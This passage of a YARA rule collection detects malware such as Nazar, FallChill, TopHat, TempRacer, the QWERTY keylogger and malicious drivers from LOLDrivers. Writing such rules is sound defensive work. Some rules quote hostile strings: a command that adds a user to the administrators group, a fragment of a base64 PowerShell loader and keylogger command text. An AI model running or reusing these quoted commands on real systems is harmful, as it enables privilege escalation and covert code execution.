		hash2 = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
		id = "3e02381d-de03-50c8-8bde-2974ee96b7c1"

	strings:
		$str1 = { 33 31 34 00 36 36 36 00 33 31 33 00 }
		$str2 = { 33 31 32 00 33 31 35 00 35 35 35 00 }
		$str3 = { 39 39 39 00 35 39 39 00 34 39 39 00 }
		$str4 = { 32 30 39 00 32 30 31 00 32 30 30 00 }
		$str5 = { 31 39 39 00 31 31 39 00 31 38 39 00 31 33 39 00 33 31 31 00 }

	condition:
		4 of them
}

rule APT_Nazar_Component_Guids
{
	meta:
		description = "Detects Nazar Components by COM Objects' GUID"
		author = "Itay Cohen"
		date = "2020-04-27"
		reference = "https://www.epicturla.com/blog/the-lost-nazar"
		hash1 = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f"
		hash2 = "1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390"
		hash3 = "2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e"
		hash4 = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
		hash5 = "460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8"
		hash6 = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca"
		hash7 = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6"
		hash8 = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec"
		hash9 = "967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b"
		hash10 = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
		hash11 = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65"
		hash12 = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61"
		hash13 = "eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3"
		id = "1bdc0b54-4903-559d-9037-450470fc7ef7"

	strings:
		$guid1_godown = { 98 B3 E5 F6 DF E3 6B 49 A2 AD C2 0F EA 30 DB FE }
		$guid2_godown = { 31 4B CB DB B8 21 0F 4A BC 69 0C 3C E3 B6 6D 00 }
		$guid3_godown = { AF 94 4E B6 6B D5 B4 48 B1 78 AF 07 23 E7 2A B5 }
		$guid4_filesystem = { 79 27 AB 37 34 F2 9D 4D B3 FB 59 A3 FA CB 8D 60 }
		$guid6_filesystem = { 2D A1 2B 77 62 8A D3 4D B3 E8 92 DA 70 2E 6F 3D }
		$guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 }

	condition:
		any of them
}

rule TempRacer
{
	meta:
		description = "Detects privilege escalation tool - file TempRacer.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.darknet.org.uk/2016/03/tempracer-windows-privilege-escalation-tool/"
		date = "2016-03-30"
		hash = "e17d80c4822d16371d75e1440b6ac44af490b71fbee1010a3e8a5eca94d22bb3"
		id = "edba6471-9720-5aad-8c15-386197700c83"

	strings:
		$s1 = "\\obj\\Release\\TempRacer.pdb" ascii
		$s2 = "[+] Injecting into " fullword wide
		$s3 = "net localgroup administrators alex /add" fullword wide
		$s4 = "[+] File: {0} renamed to {1}" fullword wide
		$s5 = "[+] Blocking " fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 25KB and 1 of them ) or ( 4 of them )
}

rule gen_suspicious_InPage_dropper
{
	meta:
		hash1 = "013417bd5465d6362cd43c70015c7a74a1b8979785b842b7cfa543cb85985852"
		hash2 = "1d1e7a6175e6c514aaeca8a43dabefa017ddc5b166ccb636789b6a767181a022"
		hash3 = "bd293bdf3be0a44a92bdb21e5fa75c124ad1afed3c869697bf90c9732af0e994"
		hash4 = "d8edf3e69f006f85b9ee4e23704cd5e95e895eb286f9b749021d090448493b6f"
		url1 = "https://cloudblogs.microsoft.com/microsoftsecure/2018/11/08/attack-uses-malicious-inpage-document-and-outdated-vlc-media-player-to-give-attackers-backdoor-access-to-targets/"
		url2 = "https://twitter.com/Ahmedfshosha/status/1138138981521154049"
		id = "9144711a-e6ee-5c97-a5f4-3f6df1d630dc"

	strings:
		$s1 = "InPage Arabic Document"
		$c1 = {31 06 83 c6 04 e2 }
		$c2 = {90 90 90 90 90 90 90 e8 fb }

	condition:
		filesize < 3MB and uint32be( 0 ) == 0xD0CF11E0 and $s1 and 1 of ( $c* )
}

rule TA17_318A_rc4_stack_key_fallchill
{
	meta:
		description = "HiddenCobra FallChill - rc4_stack_key"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
		date = "2017-11-15"
		id = "0a2afcab-f540-592f-aa75-64c0a13d26f3"

	strings:
		$stack_key = { 0d 06 09 2a ?? ?? ?? ?? 86 48 86 f7 ?? ?? ?? ?? 0d 01 01 01 ?? ?? ?? ?? 05 00 03 82 41 8b c9 41 8b d1 49 8b 40 08 48 ff c2 88 4c 02 ff ff c1 81 f9 00 01 00 00 7c eb }

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and $stack_key
}

rule TA17_318A_success_fail_codes_fallchill
{
	meta:
		description = "HiddenCobra FallChill - success_fail_codes"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
		date = "2017-11-15"
		id = "f2390b03-238e-5ae6-af85-e5dd5790362f"

	strings:
		$s0 = { 68 7a 34 12 00 }
		$s1 = { ba 7a 34 12 00 }
		$f0 = { 68 5c 34 12 00 }
		$f1 = { ba 5c 34 12 00 }

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and ( ( $s0 and $f0 ) or ( $s1 and $f1 ) )
}

import "pe"

rule HiddenCobra_FallChill_1
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318A"
		date = "2017-11-15"
		hash1 = "a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6"
		id = "5bbeb5ba-93d7-5903-9132-749afe5776ae"

	strings:
		$s1 = "REGSVR32.EXE.MUI" fullword wide
		$s2 = "Microsoft Corporation. All rights reserved." fullword wide
		$s3 = "c%sd.e%sc %s > \"%s\" 2>&1" fullword wide
		$s4 = "\" goto Loop" fullword ascii
		$e1 = "xolhvhlxpvg" fullword ascii
		$e2 = "tvgslhgybmanv" fullword ascii
		$e3 = "CivagvTllosvok32Smakhslg" fullword ascii
		$e4 = "GvgCfiivmgDrivxglibW" fullword ascii
		$e5 = "OkvmPilxvhhTlpvm" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "6135d9bc3591ae7bc72d070eadd31755" or 3 of ( $s* ) or 4 of them )
}

import "pe"

rule HiddenCobra_FallChill_2
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318A"
		date = "2017-11-15"
		hash1 = "0a118eb23399000d148186b9079fa59caf4c3faa7e7a8f91533e467ac9b6ff41"
		id = "c343e8e4-0785-5a47-99c1-98b189f4aaa0"

	strings:
		$s1 = "%s\\%s.dll" fullword wide
		$s2 = "yurdkr.dll" fullword ascii
		$s3 = "c%sd.e%sc %s > \"%s\" 2>&1" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "cb36dcb9909e29a38c387b8a87e7e4ed" or ( 2 of them ) )
}

import "pe"

rule TopHat_Malware_Jan18_1
{
	meta:
		description = "Detects malware from TopHat campaign"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
		date = "2018-01-29"
		hash1 = "5c0b253966befd57f4d22548f01116ffa367d027f162514c1b043a747bead596"
		hash2 = "1f9bca1d5ce5d14d478d32f105b3ab5d15e1c520bde5dfca22324262e84d4eaf"
		id = "ec290eee-a21e-548d-b7cc-3e25e7c39d22"

	strings:
		$s1 = "WINMGMTS:\\\\.\\ROOT\\CIMV2" fullword ascii
		$s2 = "UENCRYPTION" fullword ascii
		$s3 = "TEXPORTAPIS" fullword ascii
		$s4 = "tcustommemorystream" fullword ascii
		$s5 = "tmemorystream" fullword ascii
		$s6 = "ExtrasNoteCONSOLEemb" fullword ascii
		$s7 = "DIALOG INCLUDE" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( pe.imphash ( ) == "c221006b240b1c993217bd61e5ee31b6" or 6 of them )
}

import "pe"

rule TopHat_Malware_Jan18_2
{
	meta:
		description = "Auto-generated rule - file e.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
		date = "2018-01-29"
		modified = "2023-01-06"
		hash1 = "9580d15a06cd59c01c59bca81fa0ca8229f410b264a38538453f7d97bfb315e7"
		id = "a1b8e477-df8a-5ff4-9108-541a0f082f77"

	strings:
		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes" fullword ascii
		$s2 = "\\SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\" ascii
		$s3 = "LError loading dock zone from the stream. Expecting version %d, but found %d." fullword wide
		$s4 = "WINMGMTS:\\\\.\\ROOT\\CIMV2" fullword ascii
		$s5 = "UENCRYPTION" fullword ascii
		$s6 = "TEXPORTAPIS" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( pe.imphash ( ) == "f98cebcae832abc3c46e6e296aecfc03" and 5 of them )
}

rule TopHat_BAT
{
	meta:
		description = "Auto-generated rule - file cgen.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
		date = "2018-01-29"
		hash1 = "f998271c4140caad13f0674a192093092e2a9f7794a7fbbdaa73ae8f2496c387"
		hash2 = "0fbc6fd653b971c8677aa17ecd2749200a4a563f9dd5409cfb26d320618db3e2"
		id = "81e84f1b-0ee7-530d-91ea-645c0994e68f"

	strings:
		$s1 = "= New-Object IO.MemoryStream(,[Convert]::FromBase64String(\"" ascii
		$s2 = "goto Start" fullword ascii
		$s3 = ":Start" fullword ascii

	condition:
		filesize < 5KB and all of them
}

rule FiveEyes_QUERTY_Malwareqwerty_20121
{
	meta:
		description = "FiveEyes QUERTY Malware - file 20121.xml"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.spiegel.de/media/media-35668.pdf"
		date = "2015/01/18"
		hash = "8263fb58350f3b1d3c4220a602421232d5e40726"
		id = "bf30bdbb-0153-5ae2-bf42-4bd9e4a2f088"

	strings:
		$s0 = "<configFileName>20121_cmdDef.xml</configFileName>" fullword ascii
		$s1 = "<name>20121.dll</name>" fullword ascii
		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
		$s4 = "<platform type=\"1\">" fullword ascii
		$s5 = "</plugin>" fullword ascii
		$s6 = "</pluginConfig>" fullword ascii
		$s7 = "<pluginConfig>" fullword ascii
		$s8 = "</platform>" fullword ascii
		$s9 = "</lpConfig>" fullword ascii
		$s10 = "<lpConfig>" fullword ascii

	condition:
		9 of them
}

rule FiveEyes_QUERTY_Malwaresig_20123_sys
{
	meta:
		description = "FiveEyes QUERTY Malware - file 20123.sys.bin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.spiegel.de/media/media-35668.pdf"
		date = "2015/01/18"
		hash = "a0f0087bd1f8234d5e847363d7e15be8a3e6f099"
		id = "0d0e3642-f5d4-59b2-8e56-a7c999e34775"

	strings:
		$s0 = "20123.dll" fullword ascii
		$s1 = "kbdclass.sys" fullword wide
		$s2 = "IoFreeMdl" fullword ascii
		$s3 = "ntoskrnl.exe" fullword ascii
		$s4 = "KfReleaseSpinLock" fullword ascii

	condition:
		all of them
}

rule FiveEyes_QUERTY_Malwaresig_20123_cmdDef
{
	meta:
		description = "FiveEyes QUERTY Malware - file 20123_cmdDef.xml"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.spiegel.de/media/media-35668.pdf"
		date = "2015/01/18"
		hash = "7b08fc77629f6caaf8cc4bb5f91be6b53e19a3cd"
		id = "88a29288-9db5-5437-9efe-cdb823a2b928"

	strings:
		$s0 = "<shortDescription>Keystroke Collector</shortDescription>" fullword ascii
		$s1 = "This plugin is the E_Qwerty Kernel Mode driver for logging keys.</description>" fullword ascii
		$s2 = "<commands/>" fullword ascii
		$s3 = "</version>" fullword ascii
		$s4 = "<associatedImplantId>20121</associatedImplantId>" fullword ascii
		$s5 = "<rightsRequired>System or Administrator (if Administrator, I think the DriverIns" ascii
		$s6 = "<platforms>Windows NT, Windows 2000, Windows XP (32/64 bit), Windows 2003 (32/64" ascii
		$s7 = "<projectpath>plugin/Collection</projectpath>" fullword ascii
		$s8 = "<dllDepend>None</dllDepend>" fullword ascii
		$s9 = "<minorType>0</minorType>" fullword ascii
		$s10 = "<pluginname>E_QwertyKM</pluginname>" fullword ascii
		$s11 = "</comments>" fullword ascii
		$s12 = "<comments>" fullword ascii
		$s13 = "<majorType>1</majorType>" fullword ascii
		$s14 = "<files>None</files>" fullword ascii
		$s15 = "<poc>Erebus</poc>" fullword ascii
		$s16 = "</plugin>" fullword ascii
		$s17 = "<team>None</team>" fullword ascii
		$s18 = "<?xml-stylesheet type=\"text/xsl\" href=\"../XSLT/pluginHTML.xsl\"?>" fullword ascii
		$s19 = "<pluginsDepend>U_HookManager v1.0, Kernel Covert Store v1.0</pluginsDepend>" fullword ascii
		$s20 = "<plugin id=\"20123\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi" ascii

	condition:
		14 of them
}

rule FiveEyes_QUERTY_Malwaresig_20121_dll
{
	meta:
		description = "FiveEyes QUERTY Malware - file 20121.dll.bin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.spiegel.de/media/media-35668.pdf"
		date = "2015/01/18"
		hash = "89504d91c5539a366e153894c1bc17277116342b"
		id = "a0dc146c-85fd-55b8-a5e0-bfc1f406507e"

	strings:
		$s0 = "WarriorPride\\production2.0\\package\\E_Wzowski" ascii
		$s1 = "20121.dll" fullword ascii

	condition:
		all of them
}

rule FiveEyes_QUERTY_Malwareqwerty_20123
{
	meta:
		description = "FiveEyes QUERTY Malware - file 20123.xml"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.spiegel.de/media/media-35668.pdf"
		date = "2015/01/18"
		hash = "edc7228b2e27df9e7ff9286bddbf4e46adb51ed9"
		id = "718d80c9-b6bb-5b73-9c17-49e7d6f77210"

	strings:
		$s0 = "<!-- edited with XMLSPY v5 rel. 4 U (http://www.xmlspy.com) by TEAM (RENEGADE) -" ascii
		$s1 = "<configFileName>20123_cmdDef.xml</configFileName>" fullword ascii
		$s2 = "<name>20123.sys</name>" fullword ascii
		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
		$s4 = "<codebase>/bin/i686-pc-win32/debug</codebase>" fullword ascii
		$s5 = "<platform type=\"1\">" fullword ascii
		$s6 = "</plugin>" fullword ascii
		$s7 = "</pluginConfig>" fullword ascii
		$s8 = "<pluginConfig>" fullword ascii
		$s9 = "</platform>" fullword ascii
		$s10 = "</lpConfig>" fullword ascii
		$s11 = "<lpConfig>" fullword ascii

	condition:
		9 of them
}

rule FiveEyes_QUERTY_Malwaresig_20120_dll
{
	meta:
		description = "FiveEyes QUERTY Malware - file 20120.dll.bin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.spiegel.de/media/media-35668.pdf"
		date = "2015/01/18"
		hash = "6811bfa3b8cda5147440918f83c40237183dbd25"
		id = "d23ac7bf-3e0c-5b59-a9dc-1ae0a4ae9c02"

	strings:
		$s0 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.txt" wide
		$s1 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.xml" wide
		$s2 = "Failed to send the EQwerty_driverStatusCommand to the implant." fullword ascii
		$s3 = "- Log Used (number of windows) - %d" fullword wide
		$s4 = "- Log Limit (number of windows) - %d" fullword wide
		$s5 = "Process or User Default Language" fullword wide
		$s6 = "Windows 98/Me, Windows NT 4.0 and later: Vietnamese" fullword wide
		$s7 = "- Logging of keystrokes is switched ON" fullword wide
		$s8 = "- Logging of keystrokes is switched OFF" fullword wide
		$s9 = "Qwerty is currently logging active windows with titles containing the fo" wide
		$s10 = "Windows 95, Windows NT 4.0 only: Korean (Johab)" fullword wide
		$s11 = "FAILED to get Qwerty Status" fullword wide
		$s12 = "- Successfully retrieved Log from Implant." fullword wide
		$s13 = "- Logging of all Windows is toggled ON" fullword wide
		$s14 = "- Logging of all Windows is toggled OFF" fullword wide
		$s15 = "Qwerty FAILED to retrieve window list." fullword wide
		$s16 = "- UNSUCCESSFUL Log Retrieval from Implant." fullword wide
		$s17 = "The implant failed to return a valid status" fullword ascii
		$s18 = "- Log files were NOT generated!" fullword wide
		$s19 = "Windows 2000/XP: Armenian. This is Unicode only." fullword wide
		$s20 = "- This machine is using a PS/2 Keyboard - Continue on using QWERTY" fullword wide

	condition:
		10 of them
}

rule FiveEyes_QUERTY_Malwaresig_20120_cmdDef
{
	meta:
		description = "FiveEyes QUERTY Malware - file 20120_cmdDef.xml"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.spiegel.de/media/media-35668.pdf"
		date = "2015/01/18"
		hash = "cda9ceaf0a39d6b8211ce96307302a53dfbd71ea"
		id = "dfa0693e-4e4c-59c8-9e51-e221aefd8662"

	strings:
		$s0 = "This PPC gets the current keystroke log." fullword ascii
		$s1 = "This command will add the given WindowTitle to the list of Windows to log keys f" ascii
		$s2 = "This command will remove the WindowTitle corresponding to the given window title" ascii
		$s3 = "This command will return the current status of the Keyboard Logger (Whether it i" ascii
		$s4 = "This command Toggles logging of all Keys. If allkeys is toggled all keystrokes w" ascii
		$s5 = "<definition>Turn logging of all keys on|off</definition>" fullword ascii
		$s6 = "<name>Get Keystroke Log</name>" fullword ascii
		$s7 = "<description>Keystroke Logger Lp Plugin</description>" fullword ascii
		$s8 = "<definition>display help for this function</definition>" fullword ascii
		$s9 = "This command will switch ON Logging of keys. All keys taht are entered to a acti" ascii
		$s10 = "Set the log limit (in number of windows)" fullword ascii
		$s11 = "<example>qwgetlog</example>" fullword ascii
		$s12 = "<aliasName>qwgetlog</aliasName>" fullword ascii
		$s13 = "<definition>The title of the Window whose keys you wish to Log once it becomes a" ascii
		$s14 = "This command will switch OFF Logging of keys. No keystrokes will be captured" fullword ascii
		$s15 = "<definition>The title of the Window whose keys you no longer whish to log</defin" ascii
		$s16 = "<command id=\"32\">" fullword ascii
		$s17 = "<command id=\"3\">" fullword ascii
		$s18 = "<command id=\"7\">" fullword ascii
		$s19 = "<command id=\"1\">" fullword ascii
		$s20 = "<command id=\"4\">" fullword ascii

	condition:
		10 of them
}

rule FiveEyes_QUERTY_Malwareqwerty_20120
{
	meta:
		description = "FiveEyes QUERTY Malware - file 20120.xml"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.spiegel.de/media/media-35668.pdf"
		date = "2015/01/18"
		hash = "597082f05bfd3225587d480c30f54a7a1326a892"
		id = "503c71de-1bc5-5690-944c-a60917a4da09"

	strings:
		$s0 = "<configFileName>20120_cmdDef.xml</configFileName>" fullword ascii
		$s1 = "<name>20120.dll</name>" fullword ascii
		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
		$s4 = "<platform type=\"1\">" fullword ascii
		$s5 = "</plugin>" fullword ascii
		$s6 = "</pluginConfig>" fullword ascii
		$s7 = "<pluginConfig>" fullword ascii
		$s8 = "</platform>" fullword ascii
		$s9 = "</lpConfig>" fullword ascii
		$s10 = "<lpConfig>" fullword ascii

	condition:
		all of them
}

rule FiveEyes_QUERTY_Malwaresig_20121_cmdDef
{
	meta:
		description = "FiveEyes QUERTY Malware - file 20121_cmdDef.xml"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.spiegel.de/media/media-35668.pdf"
		date = "2015/01/18"
		hash = "64ac06aa4e8d93ea6063eade7ce9687b1d035907"
		id = "2deb73f7-372e-5d29-a077-431ab1967d93"

	strings:
		$s0 = "<shortDescription>Keystroke Logger Plugin.</shortDescription>" fullword ascii
		$s1 = "<message>Failed to get File Time</message>" fullword ascii
		$s2 = "<description>Keystroke Logger Plugin.</description>" fullword ascii
		$s3 = "<message>Failed to set File Time</message>" fullword ascii
		$s4 = "</commands>" fullword ascii
		$s5 = "<commands>" fullword ascii
		$s6 = "</version>" fullword ascii
		$s7 = "<associatedImplantId>20120</associatedImplantId>" fullword ascii
		$s8 = "<message>No Comms. with Driver</message>" fullword ascii
		$s9 = "</error>" fullword ascii
		$s10 = "<message>Invalid File Size</message>" fullword ascii
		$s11 = "<platforms>Windows (User/Win32)</platforms>" fullword ascii
		$s12 = "<message>File Size Mismatch</message>" fullword ascii
		$s13 = "<projectpath>plugin/Utility</projectpath>" fullword ascii
		$s14 = "<pluginsDepend>None</pluginsDepend>" fullword ascii
		$s15 = "<dllDepend>None</dllDepend>" fullword ascii
		$s16 = "<pluginname>E_QwertyIM</pluginname>" fullword ascii
		$s17 = "<rightsRequired>None</rightsRequired>" fullword ascii
		$s18 = "<minorType>0</minorType>" fullword ascii
		$s19 = "<code>00001002</code>" fullword ascii
		$s20 = "<code>00001001</code>" fullword ascii

	condition:
		12 of them
}

rule MAL_Driver_Microsoftcorporation_Windbgsys_Microsoftwindowsoperatingsystem_6994
{
	meta:
		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - windbg.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "6994b32e3f3357f4a1d0abe81e8b62dd54e36b17816f2f1a80018584200a1b77"
		hash = "5b932eab6c67f62f097a3249477ac46d80ddccdc52654f8674060b4ddf638e5d"
		hash = "ea50f22daade04d3ca06dedb497b905215cba31aae7b4cab4b533fda0c5be620"
		hash = "f936ec4c8164cbd31add659b61c16cb3a717eac90e74d89c47afb96b60120280"
		hash = "32882949ea084434a376451ff8364243a50485a3b4af2f2240bb5f20c164543d"
		hash = "6661320f779337b95bbbe1943ee64afb2101c92f92f3d1571c1bf4201c38c724"
		hash = "86047bb1969d1db455493955fd450d18c62a3f36294d0a6c3732c88dfbcc4f62"
		hash = "06c5ebd0371342d18bc81a96f5e5ce28de64101e3c2fd0161d0b54d8368d2f1f"
		hash = "4734a0a5d88f44a4939b8d812364cab6ca5f611b9b8ceebe27df6c1ed3a6d8a4"
		hash = "770f33259d6fb10f4a32d8a57d0d12953e8455c72bb7b60cb39ce505c507013a"
		hash = "50819a1add4c81c0d53203592d6803f022443440935ff8260ff3b6d5253c0c76"
		hash = "f9f2091fccb289bcf6a945f6b38676ec71dedb32f3674262928ccaf840ca131a"
		hash = "fa9abb3e7e06f857be191a1e049dd37642ec41fb2520c105df2227fcac3de5d5"
		hash = "139f8412a7c6fdc43dcfbbcdba256ee55654eb36a40f338249d5162a1f69b988"
		hash = "e1cb86386757b947b39086cc8639da988f6e8018ca9995dd669bdc03c8d39d7d"
		hash = "e6f764c3b5580cd1675cbf184938ad5a201a8c096607857869bd7c3399df0d12"
		hash = "bb2422e96ea993007f25c71d55b2eddfa1e940c89e895abb50dd07d7c17ca1df"
		date = "2023-06-14"
		score = 70
		id = "05060e37-3c01-5b86-a3ee-6e141399164a"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e0064006f007700730020004700550049002000730079006d0062006f006c00690063002000640065006200750067006700650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310039003000340031002e0036003800350020002800570069006e004200750069006c0064002e003100360030003100300031002e00300038003000300029 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310039003000340031002e003600380035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770069006e006400620067002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074003f002000570069006e0064006f00770073003f0020004f007000650072006100740069006e0067002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770069006e006400620067002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]003f0020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		all of them
}

rule MAL_Driver_Sensecorp_42B2
{
	meta:
		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Sense5Ext.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "42b22faa489b5de936db33f12184f6233198bdf851a18264d31210207827ba25"
		date = "2023-06-14"
		score = 70
		id = "6b64ff77-866b-5d77-b2cf-5e507acc6cb9"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530065006e0073006500350020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530065006e00730065003500200043004f00520050 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035002e0030002e0030 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320032 }

	condition:
		all of them
}

rule MAL_Driver_Legalcorp_Pciexpressvideocapture_FD22
{
	meta:
		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PcieCubed.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "fd223833abffa9cd6cc1848d77599673643585925a7ee51259d67c44d361cce8"
		date = "2023-06-14"
		score = 70
		id = "c9b28922-d4c7-5c09-9df8-b7b8d8ffc2e8"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005000430049006500200056006900640065006f00200043006100700074007500720065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006500670061006c00200043006f00720070002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00310035 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e00310035 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050004300490020004500780070007200650073007300200056006900640065006f00200043006100700074007500720065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005000630069006500430075006200650064002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00320030003100360020004c006500670061006c }

	condition:
		all of them
}

rule MAL_Driver_Microsoftcorporation_Ntbiosys_Microsoftrwindowsrntoperatingsystem_C0D8
{
	meta:
		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ntbios_2.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "c0d88db11d0f529754d290ed5f4c34b4dba8c4f2e5c4148866daabeab0d25f9c"
		hash = "96bf3ee7c6673b69c6aa173bb44e21fa636b1c2c73f4356a7599c121284a51cc"
		date = "2023-06-14"
		score = 70
		id = "f16b4b22-985a-5d39-ae51-709aa9a69d8d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006e007400620069006f00730020006400720069007600650072 }
